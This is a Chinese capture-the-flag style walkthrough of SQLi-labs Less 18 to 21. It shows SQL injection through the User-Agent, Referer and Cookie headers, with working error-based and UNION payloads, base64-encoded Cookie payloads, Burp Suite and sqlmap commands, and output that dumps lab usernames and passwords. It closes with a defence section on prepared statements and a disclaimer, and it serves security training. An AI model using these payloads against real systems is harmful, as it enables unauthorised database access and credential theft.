SQL-LABS_Less18-20实战攻略
SQL-LABS Less 18-21 实战攻略HTTP Header 注入进阶一、 Less-18User-Agent 注入初体验1.1 场景分析打开 Less-18http://192.168.43.8/sqli-labs-master/Less-18/页面提示你输入用户名和密码登录。先正常登录试试用户名admin密码admin登录成功后页面显示Your IP ADDRESS is: 192.168.43.8 Your User Agent is: Mozilla/5.0 (Windows NT 10.0; Win64; x64)...关键信息页面把你的User-Agent显示出来了这意味着后端很可能把 User-Agent 存进了数据库然后又查出来显示。如果插入的时候没过滤那就有注入点了。1.2 抓包改 User-Agent用 Burp Suite 抓登录请求POST 提交POST /sqli-labs-master/Less-18/ HTTP/1.1 Host: 192.168.43.8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Content-Type: application/x-www-form-urlencoded unameadminpasswdadminsubmitSubmit改 User-Agent 试试User-Agent: test发送请求页面报错You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near test, 192.168.43.8) at line 1分析错误信息多了一个单引号test后面还有192.168.43.8)推测 SQL 语句INSERTINTOxxxVALUES(admin,test, 192.168.43.8)所以闭合方式是单引号闭合 注释掉后面的内容1.3 构造 Payload思路先闭合前面的单引号插入注入语句报错注入and updatexml(1,concat(0x7e,database()),1)注释掉后面的内容--或#但这里有个坑INSERT 语句里不能直接用and得用逗号,分隔字段。正确 PayloadUser-Agent: admin, (select updatexml(1,concat(0x7e,database()),1)), 1解释admin闭合第一个字段的单引号, (select updatexml(...))插入报错注入到第二个字段, 1补齐后面的字段IP 地址那栏发送请求报错显示XPATH syntax error: ~security成功了数据库名是security1.4 继续注入查表名User-Agent: admin, (select updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schemasecurity)),1)), 1报错显示XPATH syntax error: ~emails,referers,uagents,users查 users 表的列名User-Agent: admin, (select updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_nameusers)),1)), 1报错显示XPATH syntax error: ~id,username,password查数据只显示一条User-Agent: admin, (select updatexml(1,concat(0x7e,(select concat(username,:,password) from users limit 0,1)),1)), 1报错显示XPATH syntax error: ~Dumb:Dumb1.5 完整注入流程总结步骤Payload结果1. 测试注入点test报错确认有注入2. 确定闭合方式admin, x, x不报错确认闭合3. 查数据库admin, (select updatexml(...,database(),...)), 1security4. 查表名...(select group_concat(table_name) from information_schema.tables where table_schemasecurity)...users等5. 查列名...(select group_concat(column_name) from information_schema.columns where table_nameusers)...username, password6. 查数据...(select concat(username,:,password) from users limit 0,1)...Dumb:Dumb二、Less-19Referer 注入2.1 场景分析Less-19 和 Less-18 基本一样只是注入点从User-Agent换成了Referer。页面登录后显示Your Referer is: http://192.168.43.8/sqli-labs-master/Less-18/2.2 抓包改 RefererBurp Suite 抓包修改 RefererPOST /sqli-labs-master/Less-19/ HTTP/1.1 Host: 192.168.43.8 Referer: test报错You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near test, 192.168.43.8) at line 1和 Less-18 一模一样闭合方式相同2.3 直接套用 Payload查数据库Referer: admin, (select updatexml(1,concat(0x7e,database()),1)), 1报错显示XPATH syntax error: ~security后面的流程和 Less-18 完全一样不再重复。2.4 User-Agent vs Referer字段含义常见值User-Agent浏览器标识Mozilla/5.0 (Windows NT 10.0...)Referer来源页面http://example.com/previous-page真实场景中的利用User-Agent网站统计系统、日志记录Referer防盗链检测、来源分析三、Less-20Cookie 注入3.1 场景分析Less-20 又升级了注入点在Cookie里。先正常登录用户名admin密码admin登录成功后Burp Suite 看到 CookieCookie: unameadmin页面显示Your Login name: admin3.2 测试注入点刷新页面登录后的页面Burp Suite 抓包改 CookieGET /sqli-labs-master/Less-20/ HTTP/1.1 Host: 192.168.43.8 Cookie: unameadmin报错You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near admin at line 1分析错误admin→ 多了两个单引号说明查询语句是SELECT ... WHERE usernameadmin闭合方式单引号闭合然后注释掉后面3.3 构造 Payload和前面不同这次是SELECT 语句不是 INSERT可以直接用and、union了测试闭合Cookie: unameadmin --不报错说明闭合成功报错注入查数据库Cookie: unameadmin and updatexml(1,concat(0x7e,database()),1)--报错显示XPATH syntax error: ~security联合查询注入判断列数Cookie: unameadmin order by 3--不报错 → 有 3 列Cookie: unameadmin order by 4--报错 → 只有 3 列查回显位置Cookie: unameadmin union select 1,2,3--页面显示Your Login name: 2 Your Password: 3回显位置是第 2、3 列3.4 注入数据查当前数据库Cookie: unameadmin union select 1,database(),3--显示security查表名Cookie: unameadmin union select 1,group_concat(table_name),3 from information_schema.tables where table_schemasecurity--显示emails,referers,uagents,users查 users 表的数据Cookie: unameadmin union select 1,group_concat(username,:,password),3 from users--显示Dumb:Dumb,Angelina:I-kill-you,Dummy:pssword,...成功拿到所有用户的账号密码3.5 Less-20 总结注入方法适用场景优势报错注入页面显示错误信息快速获取数据库名、表名联合查询页面有数据回显一次性导出大量数据Less-20 的 Cookie 注入是SELECT 语句所以可以用联合查询比 Less 18-19 的 INSERT 语句更灵活。四、Less-21Cookie 注入 base64 编码绕过4.1 场景分析Less-21 在 Less-20 的基础上加了一层编码Cookie 值经过 base64 编码。先正常登录用户名admin密码admin登录成功后Burp Suite 看到 CookieCookie: unameYWRtaW4%3D关键发现YWRtaW4%3D是 URL 编码后的 base64%3D就是解码YWRtaW4→ base64 解码 →admin后端逻辑$cookee$_COOKIE[uname];$cookeebase64_decode($cookee);// 先解码$sqlSELECT * FROM users WHERE username$cookee LIMIT 0,1;// 再查询所以注入点还在但我们的 payload 要先base64 编码才能放进 Cookie4.2 测试注入点直接改 Cookie 试试Cookie: unameadmin不报错因为adminbase64 解码后是乱码不会触发 SQL 语法错误。正确姿势先把 payload base64 编码测试 payloadadmin→ base64 编码YWRtaW4n→ 放入 CookieunameYWRtaW4n发送请求报错You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near admin at line 1确认有注入4.3 确定闭合方式测试闭合admin) --→ base64 编码YWRtaW4nKSAtLSs→ 放入 CookieunameYWRtaW4nKSAtLSs不报错但页面也没显示内容。再试试admin) #→ base64 编码YWRtaW4nKSAj→ 放入 CookieunameYWRtaW4nKSAj不报错说明闭合方式是) ... #单引号括号闭合4.4 报错注入查数据库原始 payload: admin) and updatexml(1,concat(0x7e,database()),1)# Base64 编码: YWRtaW4nKSBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsZGF0YWJhc2UoKSksMSkj 放入 Cookie: unameYWRtaW4nKSBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsZGF0YWJhc2UoKSksMSkj报错显示XPATH syntax error: ~security查表名原始: admin) and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schemasecurity)),1)# Base64: YWRtaW4nKSBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBncm91cF9jb25jYXQodGFibGVfbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYT0nc2VjdXJpdHknKSksMSkj Cookie: unameYWRtaW4nKSBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBncm91cF9jb25jYXQodGFibGVfbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYT0nc2VjdXJpdHknKSksMSkj报错显示XPATH syntax error: ~emails,referers,uagents,users4.5 联合查询注入Less-21 也是 SELECT 语句可以用 union判断列数原始: admin) order by 3# Base64: YWRtaW4nKSBvcmRlciBieSAzIw Cookie: unameYWRtaW4nKSBvcmRlciBieSAzIw不报错 → 有 3 列原始: admin) order by 4# Base64: YWRtaW4nKSBvcmRlciBieSA0Iw Cookie: unameYWRtaW4nKSBvcmRlciBieSA0Iw报错 → 只有 3 列查回显位置原始: admin) union select 1,2,3# Base64: YWRtaW4nKSB1bmlvbiBzZWxlY3QgMSwyLDMj Cookie: unameYWRtaW4nKSB1bmlvbiBzZWxlY3QgMSwyLDMj页面显示Your Login name: 2 Your Password: 3导出所有用户数据原始: admin) union select 1,group_concat(username,:,password),3 from users# Base64: YWRtaW4nKSB1bmlvbiBzZWxlY3QgMSxncm91cF9jb25jYXQodXNlcm5hbWUsJzonLHBhc3N3b3JkKSwzIGZyb20gdXNlcnMj Cookie: unameYWRtaW4nKSB1bmlvbiBzZWxlY3QgMSxncm91cF9jb25jYXQodXNlcm5hbWUsJzonLHBhc3N3b3JkKSwzIGZyb20gdXNlcnMj显示Dumb:Dumb,Angelina:I-kill-you,Dummy:pssword,...成功4.6 base64 编码小技巧在线编码https://www.base64encode.org/https://tool.oschina.net/encrypt?type3命令行编码# Linux / macOSecho-nadmin) union select 1,2,3#|base64# Windows PowerShell[Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes(admin) union select 1,2,3#))Burp Suite 插件Decoder 标签 → 输入 payload → Encode as Base64右键 → Send to Decoder → 自动编码4.7 Less-21 总结对比项Less-20Less-21注入点Cookie (uname)Cookie (uname)编码无base64 编码闭合方式admin #admin) #多了括号注入方法报错/联合查询报错/联合查询难度★★★☆☆★★★★☆关键点发现 Cookie 值是 base64 编码 → 先解码看看是什么构造 payload 后必须 base64 编码再发送闭合方式变了多了括号需要重新测试五、HTTP Header 注入防御4.1 为什么会有这种注入开发者常见错误// Less-18 的源码简化版$uagent$_SERVER[HTTP_USER_AGENT];$sqlINSERT INTO uagents VALUES ($username, $uagent, $ip);mysql_query($sql);问题$_SERVER[HTTP_USER_AGENT]直接拼接到 SQL 语句没有任何过滤或转义4.2 正确的防御方法1. 预编译语句最安全$stmt$pdo-prepare(INSERT INTO uagents VALUES (?, ?, ?));$stmt-execute([$username,$uagent,$ip]);2. 转义特殊字符$uagentmysql_real_escape_string($_SERVER[HTTP_USER_AGENT]);3. 白名单过滤// Referer 只允许特定域名if(strpos($_SERVER[HTTP_REFERER],trusted-domain.com)false){die(Invalid referer);}4. 不要盲目信任 HTTP HeaderUser-Agent、Referer、Cookie 都是用户可控的和 URL 参数一样危险5. 对编码后的数据也要防护// Less-21 的正确写法$cookee$_COOKIE[uname];$cookeebase64_decode($cookee);// 解码后仍需预编译或转义$stmt$pdo-prepare(SELECT * FROM users WHERE username? LIMIT 0,1);$stmt-execute([$cookee]);六、实战技巧总结6.1 Less 18-21 对比关卡注入点SQL 语句类型闭合方式编码注入方法Less-18User-AgentINSERTadmin, ..., 1无报错注入Less-19RefererINSERTadmin, ..., 1无报错注入Less-20CookieSELECTadmin #无报错/联合查询Less-21CookieSELECTadmin) #base64报错/联合查询6.2 INSERT vs SELECT 注入的区别INSERT 语句Less 18-19不能用and、or、union只能用报错注入Payload 格式field1, (injection), field3SELECT 语句Less 20-21可以用and、or、union、order by报错注入、联合查询、布尔盲注都行Payload 格式admin and/union ...#6.3 编码绕过的思路常见编码方式base64Less-21admin→YWRtaW4URL 编码admin→admin%27十六进制admin→0x61646d696eUnicode 编码→发现编码的方法看 Cookie 值是否像乱码如YWRtaW4很可能是 base64尝试 base64 解码看看用 Burp Suite 的 Decoder 多试几种编码绕过思路后端先解码再拼接 SQL我们的 payload 要先编码让它解码后才是注入语句有时候需要双重编码先 base64 再 URL 编码6.4 Burp Suite 使用技巧快速修改 HeaderProxy → Intercept → 抓到包后右键 → Send to RepeaterRepeater 里改 User-Agent / Referer / Cookie点 Send 发送看 Response批量测试Send to Intruder选中 User-Agent 的值 → Add §Payloads 里加入注入语句列表Start Attack 批量发送Decoder 编码Decoder 标签输入 payload选择 Encode as… → Base64 / URL / Hex七、真实场景的思考7.1 这种注入常见吗非常常见日志系统记录 User-Agent 到数据库统计系统记录 Referer 分析流量来源会话管理Cookie 存用户名/ID然后查库防刷机制记录 IP User-Agent 判断是否机器人7.2 如何挖掘1. 找需要登录的功能登录后的页面可能会记录 User-Agent留言板、评论系统可能记录 IP 和 User-Agent2. 测试所有 HeaderUser-AgentRefererX-Forwarded-For代理IPCookieX-Real-IPCF-Connecting-IPCloudflare3. 看错误信息改 Header 后如果报 SQL 错误基本就有注入4. 注意编码Cookie 可能 base64 编码有些系统对 Header 做 URL 解码尝试多种编码组合7.3 SQLMAP 能跑吗能但要指定注入点Less-18User-Agentsqlmap-uhttp://192.168.43.8/sqli-labs-master/Less-18/\--dataunameadminpasswdadminsubmitSubmit\--headersUser-Agent: *\--dbsLess-20Cookiesqlmap-uhttp://192.168.43.8/sqli-labs-master/Less-20/\--cookieunameadmin*\--dbsLess-21Cookie base64sqlmap-uhttp://192.168.43.8/sqli-labs-master/Less-21/\--cookieuname*\--tamperbase64encode\--dbs注意*标记注入点--tamperbase64encode自动 base64 编码 payload八、总结SQL 注入不只在 URL 参数里HTTP HeaderUser-Agent、Referer、Cookie也能注入任何用户可控的输入都可能是注入点INSERT 和 SELECT 注入的区别INSERT 只能用报错注入Payload 格式特殊SELECT 可以用联合查询更灵活编码绕过base64、URL 编码等是常见的绕过手段构造 payload 前要先判断是否有编码Burp Suite 的 Decoder 是好帮手Burp Suite 的重要性HTTP Header 注入必须用抓包工具浏览器地址栏改不了 User-Agent 和 Referer防御要全面不只过滤 GET/POST 参数HTTP Header 也要转义或用预编译解码后的数据仍需防护免责声明本文仅用于授权渗透测试和安全学习请勿用于非法用途。

相关新闻

树莓派4英寸SPI LCD触摸屏驱动配置与性能优化全攻略

树莓派4英寸SPI LCD触摸屏驱动配置与性能优化全攻略

1. 项目概述:4英寸树莓派LCD触摸屏如果你手头有一块树莓派,想给它配个便携的“脸”,那么一块4英寸的LCD触摸屏绝对是绝佳选择。我最近上手了一块标着“4inch RPi LCD (A)”的屏幕,它尺寸小巧,分辨率480x800&#xff0c…

2026/10/26 17:51:02 阅读更多 →
本地搭建CentOS 7+Docker环境并使用XShell管理

本地搭建CentOS 7+Docker环境并使用XShell管理

一篇覆盖虚拟化、容器化与远程运维的动手指南阅读本文大约需要15分钟,完成后你将拥有一套完整的本地Linux开发环境。一、为什么还需要自己搭环境云服务器便宜,按量付费的ECS一小时几分钱。但云服务器有天然短板:依赖公网延迟、磁盘IO被邻居挤…

2026/10/26 1:36:17 阅读更多 →
深入解析GD32H7定时器通道控制寄存器:输出比较与输入捕获实战

深入解析GD32H7定时器通道控制寄存器:输出比较与输入捕获实战

1. 从“定时”到“交互”:为什么需要深入理解通道控制寄存器?在嵌入式开发里,定时器(Timer)大概是除了GPIO之外,工程师们打交道最多的外设之一了。从简单的延时、PWM输出,到复杂的电机控制、编码…

2026/10/26 22:57:10 阅读更多 →

最新新闻

Electron桌面应用开发实战:从环境搭建到打包发布全流程

Electron桌面应用开发实战:从环境搭建到打包发布全流程

做前端这些年,我大部分时间都在跟浏览器标签页打交道,直到第一次把桌面应用跑起来,才发现原来自己一直被限制在地址栏和刷新按钮围起来的框框里。Electron这个词,最开始是在某段时间频繁出现在同事的讨论里,一个用HTML…

2026/10/27 17:33:32 阅读更多 →
滑盖智能锁T109深度解析:结构原理、安装调试与故障排查

滑盖智能锁T109深度解析:结构原理、安装调试与故障排查

简介:亚太天能T109滑盖智能锁产品说明书是一份PDF格式的官方技术文档,主要面向智能锁安装人员、终端用户及售后维护者,帮助快速掌握产品安装、配置与常见故障处理。全包仅1个PDF文件,大小4.37MB,内容结构清晰&#xff…

2026/10/28 7:28:00 阅读更多 →
PMSM弱磁控制原理与Simulink建模:高速AGV驱动系统设计指南

PMSM弱磁控制原理与Simulink建模:高速AGV驱动系统设计指南

上个月我在调试一台高速AGV的驱动系统,整车要求空载跑到8m/s,电机转速已经拉到额定点,驱动器的输出电压也顶到了母线电压极限附近。再往上踩速度指令,转速纹丝不动,三相电流反而开始震荡。那会儿我的第一反应就是&…

2026/10/27 7:21:53 阅读更多 →
C++核心知识点:从内存管理到STL的实战指南

C++核心知识点:从内存管理到STL的实战指南

C 这门语言我前前后后折腾了十几年,用它写过嵌入式驱动、做过游戏服务端,也搭过基础组件库。每次看到新人一头扎进"C 核心知识点"这个搜索词,我其实挺感慨的——这门语言的难点从来不是语法多,而是知识点之间的耦合太深…

2026/10/27 18:20:50 阅读更多 →
T109滑盖智能锁怎么装?安装调试与故障排查全攻略

T109滑盖智能锁怎么装?安装调试与故障排查全攻略

简介:亚太天能T109滑盖智能锁产品说明书以PDF格式发布,适合智能锁用户、安装人员与售后维修人员阅读。内容围绕T109系列指纹密码刷卡锁展开,先介绍前面板、后面板、锁体、机械钥匙、电池盒盖等部件名称与功能,再给出完整安装步骤&…

2026/10/27 6:20:47 阅读更多 →
LLM知识降熵:从信息垄断到理解权下放

LLM知识降熵:从信息垄断到理解权下放

你有没有过这种经历:翻开源码注释、论文摘要或者一份专业报告,每个字都认识,连在一起却像天书。想找人聊聊,身边要么没人懂,要么懂的懒得跟你解释。后来我试着把同一段内容丢给一个大语言模型,几秒钟之后&a…

2026/10/28 7:29:02 阅读更多 →

日新闻

周新闻

月新闻

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/27 13:55:19 阅读更多 →
Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/27 7:21:50 阅读更多 →
黑夜航拍船只数据集训练YOLOV5模型全流程解析

黑夜航拍船只数据集训练YOLOV5模型全流程解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/27 19:19:37 阅读更多 →